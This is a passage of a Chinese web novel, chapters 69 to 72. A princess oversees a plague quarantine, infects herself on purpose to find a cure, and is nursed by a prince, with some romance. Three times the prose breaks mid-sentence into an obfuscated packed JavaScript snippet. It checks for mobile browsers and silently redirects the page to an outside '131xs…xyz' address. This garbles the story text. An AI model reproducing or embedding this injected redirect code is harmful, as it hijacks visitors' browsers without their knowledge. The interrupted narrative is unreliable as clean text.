“郡主醒啦。”流萤特意放得轻快的声音响起,这几日见封眠为着疫病的事都心事重重,流萤心下不忍,有心想逗她开心,“您闻一闻,今日屋内是不是没什么药味了?” 封眠配合地仰首嗅了嗅空气,“是呢,有一股好清甜的味道。” “世子殿下知道您不喜欢药味,特意寻来能安心神,也能祛浊气的香品。”流萤抿唇一笑,“一早便派人送来,只是郡主当时去了于家村,这会儿奴婢才有机会将香点上。” “世子殿下不管去哪儿,心中都惦念郡主呢!” 封眠的目光落在烟霭之上,唇角也跟着勾了起来,不过片刻松缓,便急急起身更衣,“顾大人说的那批新病患,可是已经送到了?” “刚到,正往于家村去呢。” “去瞧瞧。” 疫病扩散,为了便于管理诊治,于家村和隔壁的小山村皆被隔做重症区,新来的病患不清情况,恐怕会十分恐慌。 69. 第 69 章 因着一场互市,逃难的白水县百姓看见了重建家园的希望,陆陆续续从四面八方赶了回来。待到了了家门口才得知于家村疫病一事,顿时人心惶惶,几欲就想作鸟兽散。 早就被封眠叮嘱过的守卫们自不能放任这些潜藏的疫病患者离开,来一个便隔离一个,来一家便隔离一家。这几日见识过于家村疫病情状的守卫们,一条漏网之鱼都不敢有。 起初百姓们颇有怨愤,后来被好吃好喝的伺候着,又有大夫来把脉,方知此举确实是为了他们好,才安生下来。 谁知一夜过去,烧倒一片。 百里浔舟派人沿着他们的来时路细细排查,只在白水县邻近的村镇发现了一些疑似病患,一并隔离观察。 要么说福祸相依,若不是互市,疫病不会回到黑石沟,然而若不是互市,此时的疫病便未必能控制在白水县内,恐怕更难收拾。 最因此而感到崩溃恼恨的,莫过于白水县县丞。 因瞒报灾情一事降罪的圣旨前脚刚到,后脚又闹出来规模渐大的疫病,县丞觉得自己已经从官帽不保,过渡到官帽下的脑袋都已摇摇欲坠。 开互市时,他还几次三番暗献殷勤,想要蹭一蹭政绩,谁知郡主却是全然绕过他去办互市,责备不满之意明确,已经令他冷汗涔涔,连夜顶风往盛京送了几车珠宝,想保下自己的官帽。 现在可好,就算是倾家荡产,都未必能保住他的脑袋! 他兀自陷入天塌了的惶然之中,县丞夫人恨铁不成钢,将他手臂掐得青紫,“戴罪立功会不会?会不会!会不会?!” 这天杀的蠢材! 县丞如梦初醒,将准备送去盛京的珠宝拿出来,想尽办法去买食物买药材,大张旗鼓地往黑石沟送。 祈求有人能将他的义举记下来,为他说两句好话。 另一个和县丞同样绝望的,是刚刚抵达云中郡的户部司农成立虚。 他恰好在离北疆不远的州郡内巡察水利,接到顾春温的信便兴高采烈地来了,准备辨一辨良种,大展宏图。 就这么一脚踏进了因疫病爆发而变得风声鹤唳的北疆。 流匪都商量着另觅山头,阿尔纳部也老老实实不敢犯边,偏他逆流而上,一头扎进来了。 他紧赶慢赶,赶到王府,大步一冲拦住了刚走出府门的百里浔舟,还未开口,就被他反剪双手摁到了墙上。 成立虚急忙自报家门,“世子殿下,下官户部司农成立虚,应郡主召请前来!” 说出“郡主”二字,成立虚感觉钳制自己的力道立刻就放轻了,重获自由的他立时转身行礼,“世子殿下好身手!不知郡主现下在何处?下官是否方便拜见?” 他心下打着主意,郡主定然在王府中好生待着,他便可以借拜见之机卖一卖惨,请郡主留他在王府暂住些许时日。这时候,哪还有比王府更安全的地方呢? “郡主在黑石沟,你也要同去?”百里浔舟挑眉,打量他两眼,嗯,平平无奇。 什么?成立虚呆住了,他怎么也没想到,郡主千金之躯竟然还一直留在黑石沟那等险地?这消息若穿到陛下耳朵里,他们这些在在场的官员,不会都因此吃挂落吧? 见他目光呆滞久久不言,百里浔舟有些不耐,“我正要去见郡主,你到底去是不去?” 成立虚骑虎难下,他惯爱面子,说不出自己就是贪生怕死,只能硬着头皮说去,心如死灰地上了马。 骏马疾驰,马蹄在青石板路上踏起飞尘。 飞尘卷着辘辘前行的车轮,缓缓停于于家村前的小路上。 浓郁的药味被风卷过,以面巾遮住口鼻的众人惶惶然下了马车,被守卫引导着逐一派对核查信息。 恰在此时,一阵惊天动地的哭嚎声响起,引得众人纷纷循声望去。 另一侧的木障被挪开,两名守卫抬着一把舆架出来,舆架上盖着白布,其下隐约可见人形。前面的守卫脚下忽地一绊,舆架轻晃,一只了无生息的青白手臂落了下来。 空气中弥漫着令人窒息的紧张感,哭嚎声渐渐弱去时,队伍中一名青年崩溃了。 他烧得面颊通红,状若疯魔一般左突右撞,“我不要进去,我不要进去!你们带我们过来,就是想让我们都死在这里!放我走,回家,我要回家!” 本就如惊弓之鸟的人群顿时混乱起来,推搡哭喊,四散欲逃。 “进去了就是死路一条,我不要进去!” “放我们出去!” “冷静,大家都冷静一下!”守卫们竭力维持着秩序,柳寄雪和几名大夫也闻声赶来来安抚众人。 他们每个人都满面倦容,眼下青黑,已经有好几日都没好好休息过了,此时仍打起精神来安抚面前的百姓。 惊恐爆发的百姓们听不进去任何安抚劝诫之言,连着几日高热不退,已经让他们的身体十分痛苦,又被通知要与其他看似健康的人隔离起来,接受治疗。 半信半疑地刚来到此地,就见到有尸体被抬了出来,他们濒临崩溃边缘的内心再也绷不住了,情绪激愤地大吼大叫,吵闹间有几人当场晕厥过去,更惹起一阵喧然。 “郡主来了!诸位请静下来,听郡主一言!” 马车尚未停稳,封眠便急急地跳了下来。 众人听闻郡主来了,慢慢地安静下来,年迈的老妇人被孙儿搀着,虚弱地泣道:“郡主殿下,您、您是个好人,您可要为我们做主啊!” “阿婆莫急,快搬凳子来给大家坐下歇息。”封眠先温声安抚一句,见众人烧得东倒西歪,站立艰难,忙吩咐下去,守卫们手忙脚乱地开始四处搬来长凳。 趁这当口,封眠忙与柳寄雪问清发生了什么,柳寄雪简单说了,末了叹一口气,“药方改了一遍又一遍,忽而起效,忽而又不管用了。送来的人越来越多,抬出去的人也……西山脚下临时辟出的义庄已快摆不下了……” 轻飘飘的几个字如巨石一般砸在封眠的心头。 不能再犹豫了,她这般想着,忽地上前两步,什么冠冕堂皇的话都不说了,只道一句:“我陪你们一同进去。” 一石激起千层浪,百姓们纷纷不敢置信地抬首,守卫们震惊地彼此对望,疑心自己听错了。 柳寄雪更是顾不得守礼,一把将封眠拽到身后,头次对她严词厉目,“你疯了?你去冒什么险?!” “你和几位大夫去了那么多次,不是也什么事都没有?你们都进得,我有什么进不得?”封眠软语道。 流萤和雾柳跑上前来,与柳寄雪一同将她团团围住,“郡主身子骨弱,怎么能与几位大夫比呢?” 雾柳摁住她另一只手,张嘴唤了一声“郡主”,想说什么却又顿住了。与郡主相伴多年,她最是知道郡主的性子,既然将决定的事说出口,必然已经做好了考虑,定是要去做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16319176|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。 “你若是染了病,我、我要如何与王妃和世子殿下交代呢?”柳寄雪紧握住封眠的手臂,脑海中已不受控制地翻涌出许多可怕的结果,“若我救不了你,我……” 她怕自己再也救不了任何人。 “你不会的。”封眠安抚地拍拍她的手,语调轻快,“此事你们瞒着王妃和世子殿下就好了,反正他们眼下也进不来呀。” 她心里暗暗抱歉,此番入内,她就是抱着让自己染病的心思去的。若是她病了,说不定能梦见有效的疗法呢?再不济,知道如何能阻断传染也好。 只是,终究要让大家担心一阵子了。 最终谁也没能劝住封眠,柳寄雪只能道:“那我陪你一起去。” 虽说她跟着也没什么用处,但好歹能够安心一些。 封眠于是当先踏入了那道隔离的木障,走入令众人望而生畏的疫病区,然后在入口处站定,以目光静迎每一个人。 变得雅雀无声的百姓队伍慢吞吞地动了起来,人们依次搀扶着彼此离开长凳,默然而有序地随她入内。 “大家别害怕,进到这里来,并不是为了让大家自生自灭。大夫每日都会来看诊,汤药食水也绝不会断,我们一直在竭尽全力地救治所有人。”封眠与众人一道往里走,身处其间,反倒没有了想象中带来的恐惧。 目之所及的一切皆是井然有序,左侧的药房烟雾袅袅,一股股浓郁的药味被风吹来赶去,苦涩呛鼻,却是让病中的人最为安心的味道。他们最怕被断了药,那便真是只能等死了。 正浆洗替换面巾的婉娘见一行人进来,忙在棉布衣衫上抹净了水渍,匆匆起身迎上来。 面巾上方露出一双带笑意的眼,婉娘强打起精神,语调上扬,“新屋都已收拾出来,以草药熏炙过了,我领你们过去。” 沿途能听到左右屋舍中传来痛苦的呓语,却也能见到数十道身影在床铺与屋舍之间穿梭,为卧床不起的人净面、喂药,轻声询问他们的需求。 被病气与死亡笼罩着的房屋内,却是干净明亮的,令人焦躁的心一点点跟着静了下来。 年迈的老妇人惊讶极了,忍不住问道:“你们在这里做活,不怕染上病吗?” 婉娘闻言轻轻一叹,“这里面,只有几个人是没生病,为了照顾家里人,硬跟进来的。其他人都病着呢,只是症状轻一些,还能起得来床,走得动路。” “几位大夫和他们的学徒每日连轴转,实在是太过辛苦,我们便想帮着做些力所能及的活计,浆洗,喂药,照料那些发着高烧,神志模糊的人。” “郡主殿下给了药,给了吃食,还给准备换洗的衣裳,她们从来没有放弃我们,我们也不能什么都不做,擎等着外头的人来救吧?人总得自己想活了,才能活得下去。” 封眠最怕病中的人意气消沉,生机丧失,见此情形,心下稍安。 她送着病人们一一在房间内安顿下来,自己则趁着柳寄雪不注意的时候,偷偷摸摸这里,摸摸那里,再撩开面巾四处嗅问,在心里呐喊:病来,病来,病从四面八方来。 生怕自己身体太争气,好不容易进来走了一遭,又平安无事地出去了。 不过她也实在是高估了自己的体质,在走到倒数第二间屋子的时候,她已然觉得有些头晕目眩,脚下踉跄着扶住了墙壁,只留下一句“别声张”,便在一阵惊呼声中软软倒了下去。 70. 第 70 章 远远望见路障处燃起的火把时,百里浔舟心头没来由地窜起一阵躁郁。灼灼火光晃动在如深渊一般的黑夜中,似是数道野兽的眸,散发着危险的不详气息。 “驾!” 他双腿一夹马腹,骏马如离弦之箭奔出,四蹄几乎踏出残影,在月色下直朝着那片火光疾驰而去。 行到近前,百里浔舟勒马急停,凌空一跃,翻身下马,目光在清点物资的人群中一扫而过,并未瞧见封眠的身影。 封眠并非每次都会来,但这次百里浔舟的心口却突突狂跳,想见她的念头在脑袋里乱窜,几乎按捺不住。 不行,她这几日已经很忙很累了,就让她好好休息吧。百里浔舟在心里这般劝自己,强行将脑海中左突右撞的念头压了回去,看似平静地询问守卫:“郡主这几日如何?” 守卫的视线慌张移挪了一瞬,打了个磕绊,“挺、挺好的。郡主每日都早早歇下了,准时用一日三餐,预防的汤药也都在喝……” 百里浔舟双眸微眯,目光锐利如刃,“你再说一遍,郡主如何?” “郡主……”守卫心都在抖,身为疾羽营士卒,却要对世子殿下撒谎,对他当真是莫大的考验。可殿下将他们调给郡主的时候便说了,必须事事听郡主的吩咐,他又不敢违逆郡主,只能硬着头皮,心虚道,“……挺好的。” “让开。” 冷冷的两个字掷地有声,惊得守卫脊背僵直,“什么?” “让开,我要进去。”百里浔舟刑讯过不知多少人,岂看不出这拙劣的隐瞒? 守卫说谎,便说明封眠必然是出事了,却命众人瞒着他,那极有可能是……他脑中闪过无数念头,心口一阵痉挛的痛楚,听说严重些的病患“朝发夕死,夕发朝亡”,封眠的身子骨那般弱…… 若是…… 不,不会。吉人自有天相,她定会无恙。百里浔舟此刻无比希望那无稽的命理之说是真的,他是她的“解厄星”,他还没死呢,她怎么会有事?! 两名守卫慌得挡在木障前,“不行,郡主殿下说了,谁都不能过去!” 不知她安危与否,他如何还能再在这安稳地待得下去? 百里浔舟懒怠与他们多言,掏出自己的令牌丢给身后的山衣,“将令牌带去交予姚知远。” 他若出事,疾羽营万事便暂且听姚知远调令。 山衣惊慌:“殿下!你不能进去啊!” “此事万不可让母亲知晓。” 百里浔舟最后叮嘱一句,径自翻身上马,轻扯缰绳退开数步。 就在守卫以为他放弃了的时候,却见战马忽一声长嘶,人立而起,伴着一声呼哨,助跑两步,竟纵身飞跃过木障,稳稳落于内侧,接着片刻不停地疾驰离开。 扬起的尘扑了守卫们一脸。 众人两眼茫然,面面相觑,他们竟妄想能拦得住世子殿下?殿下甚至无需搬出军命相压,便径直闯进去了。 这时又一道马蹄声响起,落后十几丈远的成立虚终于筋疲力尽地赶了上来,他下马时双腿虚软,险些便要摔倒,牵着缰绳才站住了,左右张望一圈,虚弱问道:“世子殿下呢?郡主殿下呢?” 守卫往百里浔舟消失的方向指了一指。 成立虚呼吸一滞,来的时候也没说是深入虎穴去见郡主啊! 他讪讪地挪了两步,不知要不要跟上,“那我……” 守卫登时来了精神,拦不住世子,难道还拦不住面前这人吗? “郡主有令,任何人不许通行!” 成立虚大喜过望,十分乖巧道:“哎,好嘞,我不进去。我……我先回驿站吧我。” 云中郡的驿站,怎么也要比他脚下正站着的地方安全啊! “军师救命——”山衣捧着烫手的令牌跌跌撞撞跑到姚知远面前,险些一个踉跄给他跪下。 姚知远随手一扶,还有心思玩笑:“年节未至,不必行此大礼。” 山衣泪汪汪地抬眼,“我还能活到年节吗?” 姚知远这才看清他手里捧着百里浔舟的令牌,差点跳起来,“殿下又做什么了?” 怎么改整出这种托孤的架势?令牌都解了! 山衣如此这般的将事情说了,哭丧着脸说:“这么大的事,若是被王爷和王妃发现了,我是不是就完蛋了!” “无妨,便是再来十个你也看不住一个世子殿下,王爷和王妃会理解你的。”姚知远拍拍山衣的肩,长叹一声,“你现下应该祈祷的,是郡主殿下平安无恙。” 否则家里这个要发疯,宫里的那位说不定也要发疯。到时北疆可真要掀起风云浪涌了。 * 起先是觉得冷,后来又热得想要蹬掉所有压在身上的遮盖物,偏又浑身无力,只能拱着身子,难受得发出哼唧声。 迷迷糊糊的,封眠感觉有人在她耳边柔声哄着,同时用力将被角掖进了她早已被汗湿透的肩下,将她严严实实地裹了起来。她像只被蚕茧裹住的蚕宝宝,再挣动不得。 好讨厌,好讨厌的人,怎么一面说好听的话哄她,一面对她做出这么坏这么坏的事呢? 燥气在心底越鼓越涨,难受掺杂着委屈,泪珠不住从眼角滚落下来。 又有冰凉的巾帕轻柔地拭去眼角的泪珠,擦过她满是热汗的额头。 那声音又来哄她,絮叨叨的很好听,凉意从额头一点点蹭到颊侧,让她心底的燥意降下来些许,呼吸平稳了下来。 见封眠紧蹙的眉心缓缓舒展,百里浔舟终于松了口气。他换了一块巾帕浸水拧干,继续替封眠擦拭脸颊降温,指尖感触她呼出的气息,灼热如炭火。 她两颊亦是烧得通红,因方才落泪,长睫依然濡湿,额发亦是湿漉漉的,凌乱黏在额角,瞧着十分可怜。 何时才能醒来呢?柳寄雪说,只要她能醒来一次便算是大有希望,可从他硬闯进来,陪在她身侧已有两日之久,她一次也没有睁过眼。 心底的慌张无止境地蔓延着,百里浔舟却半分也不愿表露出来,生怕连带着烧得昏迷的封眠感知到他的心情,也跟着一起难受起来。 母亲总说,病中之人最易感知旁人情緖,与病中的人不能说丧气话,不要谈论病情,要与病人说些开心的事情,带动病人保持快乐的心情,这样才能快快好起来。 于是他绞尽脑汁地与封眠自己幼时的趣事,想哄着她高兴,一度词穷,便开始夸今日的天有多蓝,阳光有多明媚,风有多清爽。 “等你醒过来,感觉好一些,我便带你去院中坐一坐,将病气晒走,说不定便好得更快了。” 封眠病后便也留在了于家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16324996|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 村。众人听闻郡主为了让她们安心,跟着进入病区,因而自己也染了病,当即为她挪出一间空置的小茅草屋,让她在其间安心静养。 四下无旁人,百里浔舟与封眠说话时,用尽了生平最温柔的语调,若被旁人听见,定会疑心他被人掉包了。 思及此,百里浔舟忽然想到幼时一件事,倒可以当故事讲给封眠听。他努力回忆着已经被时间磨得不清晰的往事,缓缓道:“说起来,其实我幼时也入过一次拐子窝。” “当时我与父亲走散了,本是想去救人的,结果低估了他们,高估了自己,一并被绑了去。”他回忆着,蹙了蹙眉,“也关在山洞里,伸手不见五指。后来我用两块石头打出火花,点燃了稻草,带着大家一起跑了出去。” “那群人笨得很,我解了外衫挂在树枝上,就引得他们跑错了路。我跑到山脚,恰好撞见来寻我的父亲,他把其他的孩子都送了回去。怎么样,我厉不厉害?”他说着,含笑去看封面,旋即一呆。 一双水雾蒙蒙的眼正困倦地望着他,封眠张了张唇,嗓音干涩沙哑:“渴。” 百里浔舟如梦初醒,慌乱得左右手脚打了一架,才从屋内一直备着的小茶壶里给她倒了一盏温茶来。 他一手端茶,一手抵着她汗涔涔的后背半坐起来,让她靠在自己的颈侧,慢慢将一盏温茶喂完了。 “还渴吗?”他问。 封眠轻轻摇摇头,虚弱道:“热。” 她想把被子撩开透口气。 “不行。”环在她腰间的手臂箍得更紧了一点,“出了汗再吹风,待会儿烧得更重了。” 封眠兀自气闷了一会儿,烧得迷糊糊的脑袋才慢吞吞想起来自己此时此刻的境况,扑腾着想要坐起来,离百里浔舟远些。 “我,你走远些,别过了病气……”她拧着眉头使出了吃奶的力气,被百里浔舟轻轻一摁就又倒了回去。 “我若在乎会不会染病,就不会在这里了。”百里浔舟声音中带着些无奈,低低地抱怨,“你说会照顾好自己,我才放心留你在此。现在看来,我就不该太放心你。” 封眠微微仰起脑袋,瞧见百里浔舟面上乖乖覆着面巾,锋利的眉目像是两日没睡被磨平了棱角,只剩下一点倦意,微垂眼睫回望他时,眼底些许的安心之下,藏着化不开的担忧。 她呆呆地望了片刻,忽然开口:“我……” “嗯?”百里浔舟以为她有什么需求要提,忙俯首帖耳。 却听她带着几丝羞赧道:“我几日未洗漱了,又满身是汗,是不是都臭了?” “……” 百里浔舟没忍住,扭过脸去大笑出声。封眠的脸颊都能感受到他胸腔传来的微微震动。 她探首去看他带笑的眉眼,心下觉得满意许多,百里浔舟这样的眉眼还是适合恣意飞扬的笑,忧郁的神色不适合他。 半晌,待笑声终于渐渐止住了,封眠才道:“帮我喊阿雪过来吧,我有要紧事同她说。” “好。”百里浔舟没有多问她具体事宜,只将被角又掖了掖,让她靠坐在床头,又认真叮嘱,“不许挣开被子。” 说罢便大步出去了。 封眠闭目缓了缓神,整理繁杂的思绪。 总归是没有白病一次,她顺利梦到了自己想要的东西。 71. 第 71 章 “要焚烧所有的尸体?”太过震惊,柳寄雪一时没能控制住陡然拔高的声调,反应过来后才微微掩唇,蹙眉确认道,“当真非如此不可?只怕……百姓们难以接受。” 时人信奉“事死如事生”,认为唯有全尸下葬,亡者才能保有身后尊严。若肉身残缺,魂魄便易流离失所,沦为孤魂。是以若亡者尸身损毁,诸如砍头而亡者,都要特意请缝尸匠来将肉身细心缝补完整。 若如沙场战死的将士只能寻回遗体碎片,也会想办法用各种材料来雕刻、拼接缺失的部分,为的就是求一个“全尸”下葬。 若提出焚烧所有因疫病而亡的死者尸体,恐怕家属们都会愤而抗议。 “必须焚烧。”封眠斩钉截铁道,语气不容置疑,“你可曾留意,从西山方向返还的百姓,发病者是否远多于别处?” 柳寄雪怔了怔,细细回想一番,神色渐渐凝重,“好像确是如此。” “我们以药草熏屋净气,凡接触病者必先净手更衣,正因深知此病能通过接触传人。那么尸体呢?人虽死,病气却未散。” “……尸身若腐,必污水土和空气,恐怕比活着的病患更容易传染疫病。”柳寄雪喃喃自语地接话道。 因着根深蒂固的“死者为大”的思想,他们从未考虑过这一点。 “幸而西山脚下人迹不多,尸身又均以棺椁安置,还未能造成不可挽回的结果。” 思及此,柳寄雪满是劫后余生的庆幸。 而这一切,皆是因为封眠在这里。是她当机立断将染病的于家村隔离看管起来,是她为所有被隔离的百姓筹集来了源源不断的粮水与药材,亦是她思及亡者亲友之痛,命人打造棺椁收敛安置尸身,以慰其亲友天人永隔又无法送葬之痛。 若是换个旁的地方先是遭灾,后是生疫,恐怕粮草与药材早就青黄不接,苦等朝廷赈灾救治期间,不知要死去多少人。而这些尸体也无人会费心安置,多是裹一卷草席便丢去了乱葬岗。 她简直不敢想,若是没有封眠,疫病会传播多广,又会是怎样的生灵涂炭…… 可是升米恩,斗米仇,她更担忧若是封眠下令焚烧尸体,怨愤上头的百姓们会反过来诋毁咒骂封眠。她现在见不得有人说封眠不好。 柳寄雪想不出什么既能顺利焚烧尸体,又能不激起民怨的好主意,一时有些郁闷,“要如何说服百姓们接受呢?” “在性命面前,一切皆有转圜的余地。我大致已经有了主意。”封眠很想得开,行惊世骇俗之事,总是要挨上几句骂的。但总不能因为不被理解,就不去做明知道正确的事了。 “不过在此之前,我想先试一剂药方。”封眠略有些紧张地看着柳寄雪,她解释不清楚这药方是从哪里来的,自己又怎么会知道药方有效,便只能眼巴巴地问上一句,“你,可愿信我?” 若说封眠生病昏睡一遭,醒来便能指点医师开药,那实在是近乎荒唐的一件事。可柳寄雪迎上她的目光,却莫名地就是信她。 见柳寄雪点头,封眠眼角一弯,立即凝神开始回忆梦中的药方:“金银花、连翘、黄芩、板蓝根、大黄……” 柳寄雪越听越是眸光清亮。 这些药材皆属常见,在他们如今所用的药方里也多多少少都会用到,却从未如此配伍过。如今听来。却琢磨出这确是化湿败毒的良方,只需根据病情强弱,来调整药材配伍和剂量即可。 末了,封眠又叮嘱道:“入口的水,定要煮沸后才能喝,可以加些盐和糖,让大家每日最少用上一碗。对了,再遣人多运些生石灰来,比熏炙药草更为好用。” “好。”柳寄雪认真地将这些逐一记下,停笔时,她望着封眠苍白的病容,忽然生出一些奇妙的想法,她会知道这些,是因为自己身染疫病吗? 临离去前,她还是没忍住,轻声问道:“你故意染病……便是为了这些吗?” 封眠心头一跳,倏然睁圆了眼瞧她,像一只被踩了尾巴遂而炸毛的猫。 不待她应答,柳寄雪面巾上方那双清亮的眼睛已浅浅一弯,转身离去。唉,郡主该不会以为她东摸西看的动静很隐蔽吧?若非她信她不是胡闹之人,早将她牢牢摁住了。 柳寄雪离开没多久,紧闭的门扉重又被百里浔舟推开。他似乎是趁方才的间隙去将自己梳洗打扮了一番,换了身清清爽爽的墨色常服,衬得身形愈发挺拔,腰间革带利落束出劲窄腰线,长腿一迈,便带着清冽的皂角气息在封眠榻边坐下。 瞧得封眠很是眼热,小声嘟囔:“我也要沐浴更衣。” “不行。”百里浔舟拒绝得温柔却不容商量,“病人没有选择权。” 他坏心眼地补充道:“这是对你没有照顾好自己的惩罚。” 见封眠的眉眼和脑袋一起蔫蔫地耷拉下去,百里浔舟心中微软,伸出食指,轻轻勾了勾她的下巴,哄道:“我带你去院中坐坐,可好?” 指节触及的皮肤仍是热烫,令他心中蹙眉。 那自然是好极!生着病闷在屋子里的人,最需要去院中坐一坐,望一望天,吹一吹风了。 只是封眠病得四肢虚软无力,只能由着百里浔舟照料。 百里浔舟手执干爽的巾帕,熟练地为她拭去额上的汗,巾帕自湿漉漉的鬓角掠过,擦过温热柔软的耳垂,最终贴上她纤长雪白的脖颈。 颈侧的皮肤格外娇嫩敏感,微凉的触感激得封眠下意识一缩,反而轻轻夹住了百里浔舟捏着巾帕的手,精致的锁骨随之凸起,细腻的肌肤抵在他掌缘。 两人俱是一僵。 百里浔舟喉结微动,张了几次口,才找回自己的声音,“须将汗擦净了才好出门,否则要受风的。” 封眠慢慢松下肩膀,长睫颤了颤,只嘀咕了一句:“痒。” “那我轻些?” 又不是给伤口上药,这时候越是轻缓,反而越撩得发痒。她只觉心里躁得慌,软声催促:“你快些。” “好。” 百里浔舟忙应了,回身又换了张干净的巾帕,再贴上她颈侧时,便见一抹绯色自寝衣外裸露的肌肤上一点点攀了上来,如晚霞浸染白玉,迅速蔓延至耳根。 像极一朵徐徐绽开的粉瓣芍药,令百里浔舟的呼吸轻轻一滞,动作也迟疑了一瞬。 封眠偷眼去瞧百里浔舟,见他竟连耳廓都红得仿佛要滴出血来,比自己还要窘迫。 看见旁人不如自己时,自己那点羞涩反倒不值一提了,甚至生出了逗弄的心思,故意问道:“怎么了?有什么不妥吗?” “没有。”百里浔舟如梦初醒,窘迫之下,只干巴巴地回应了两个字。 见他如此,封眠心下更轻松了,原本有些紧张的身体放松下来,甚至配合得垂下头,将脆弱雪白的后颈暴露在百里浔舟眼下。 百里浔指节微紧,手执巾帕沿寝衣边缘轻探而入。指尖忽而触道一抹温润滑腻,一时既盼时间长些,却又觉自己心跳如鼓,有些禁受不住,想快些结束。心思矛盾辗转。 “你的手指好烫,该不会也烧起来了吧?”封眠火上浇油地调侃,说着话还要转过身来,扬起脑袋要去探他的额头。 百里浔舟一时又窘又恼,牙根痒痒地在她光洁的额头上轻敲一记,握住她纤瘦的肩头将她的身子扳正,“坐好,不许乱动。” 衣襟遮掩下的其他地方,实在是不便他再代劳,只又替她擦净了双手。一番折腾下来,百里浔舟额上都覆了薄汗,两颊醺红,与高烧也无异了。 他便转身去拿来一件大氅,将封眠严严实实裹了起来。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16329642|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 封眠大惊:“现下可是暑月!” “若在我眼皮子底下,让你吹风着了凉,那我不如自绝算了。” 他故意将话说得重了些,封眠果然不再抗拒,乖乖地任她动作。 封眠蹬上软缎绣鞋,伸手想让他扶自己起身,接着眼前便被一道身影挡住,两只手臂分别稳稳地托住她的腰后和膝弯,微一用力,便被百里浔舟稳稳横抱起来。 她下意识搂住百里浔舟的脖颈,脸颊无意间蹭到他颈侧温热的皮肤,两人呼吸皆是一顿。 他就这么抱着她出了门。 门外夜色如水,院中一滩月光如浅泊。夜风拂来的苦涩药味中,掺杂着青草、泥土的自然气息。 是生机勃勃的味道。 封眠有些劫后余生的庆幸。她想,她一定是被命运所眷顾的。 百里浔舟将她安稳地放在院中的竹椅上,又小心将微微散开的大氅拢好,一丝进风的缝隙都不留。 方才一抱,他只觉怀中像抱了一片羽毛似的,轻飘飘的无甚重量,仿佛风一吹便会飘走,心中疼惜,忍不住轻声道:“你要多爱惜自己一些。” 封眠一时心虚,“我很惜命啊。” 若不是惜命,她才不会为几年后可预见的悲惨结局,远嫁北疆呢。 她反瞧一眼百里浔舟,清冷月色模糊了他眉宇间的锐气,只余几许温柔,少年的眉眼干净漂亮,此刻专注地望着她,让她心口发紧。 现在的她,也很不愿去想他会在最意气风发的年纪里死去。 她反问道:“你呢?你这般不管不顾陷在这里,疾羽营怎么办?定北军怎么办?百姓又该怎么办?” “父亲不是尚在吗?不知你是否安然,我怎么能安心?那时……根本来不及想那许多。” 只是听她这一连串的问话,百里浔舟心下忽而有些忐忑了,“你是不是不喜欢我这样做?” 她抬眸望去,他清澈的瞳仁中映着她小小的身影,眸光晶亮仿佛漫天星子也尽数落入他的眼底。 封眠像是被他的目光烫到一般,别过脸咕哝:“你别说得好像我不识好人心一样,你冒着风险来顾我,我自然很是感激的。” 只是感激啊。百里浔舟心下轻轻一叹,但他又觉得此时再说些什么,实在有几分像是挟恩图报,便只唇角微扬,轻声道:“知道感激便好,待你病好,切莫忘了回报一二。” 封眠装做听不见的样子,仰首望着夜空,感叹:“今夜的星星好亮。” “嗯,很漂亮。”他应声,眼睛却往她的脸上瞟。 “那是什么?”她忽然望向远方。 只见天际冉冉升起一盏暖黄的孔明灯,跃动的火光如流星般照亮夜色。紧接着,是第二盏、第三盏…… 越来越多,渐渐缀成一片璀璨灯河,顺风悠悠飘来。 “上面好像有字,写得什么?” 顺风而来的最近一盏灯正缓缓掠过他们头顶。 “愿郡主逢凶化吉。”他仰首细看,低声念出,又望向另一盏,“郡主万安。” “诸邪退散。” “早日康复。” 他一盏一盏地念着,每一盏灯上都写着斗大的吉祥话,字迹以及灯的做工和样式也肉眼可见的不一致,显然是出自无数人之手。 无数祈愿自云中郡的方向飘来,是百姓在为她祈愿。 大家心中都念着她呢。 封眠心下一暖,鼻尖微酸。然而下一刻,她忽然想到什么,哀哀地将目光投向百里浔舟:“母亲和父亲是不是也知道了?” 百姓们都大张旗鼓地放飞孔明灯祈福了,定然是消息没瞒住。 封眠与百里浔舟这两个“不听话”“以身涉险”的人面面相觑,不由齐齐叹一口气。 72. 第 72 章 星与灯火璀璨,院中两人开始思索回去后要会如何被王爷和王妃耳提面命地训诫。 封眠忽然想起自己将醒未醒之际,似乎听百里浔舟在自己耳边说了件儿时的故事,一面回忆,一面问道:“你是不是说过,你幼时也曾被拐子拐过?” “我是为了救人,双拳难敌四手,才一并被绑了去。”百里浔舟严谨地纠正。 结果不是都一样吗?虽是这般想着,但封眠体贴地没有说出口,只接着问道:“你可还记得是在哪里?可是一处叫齐山的地方?” 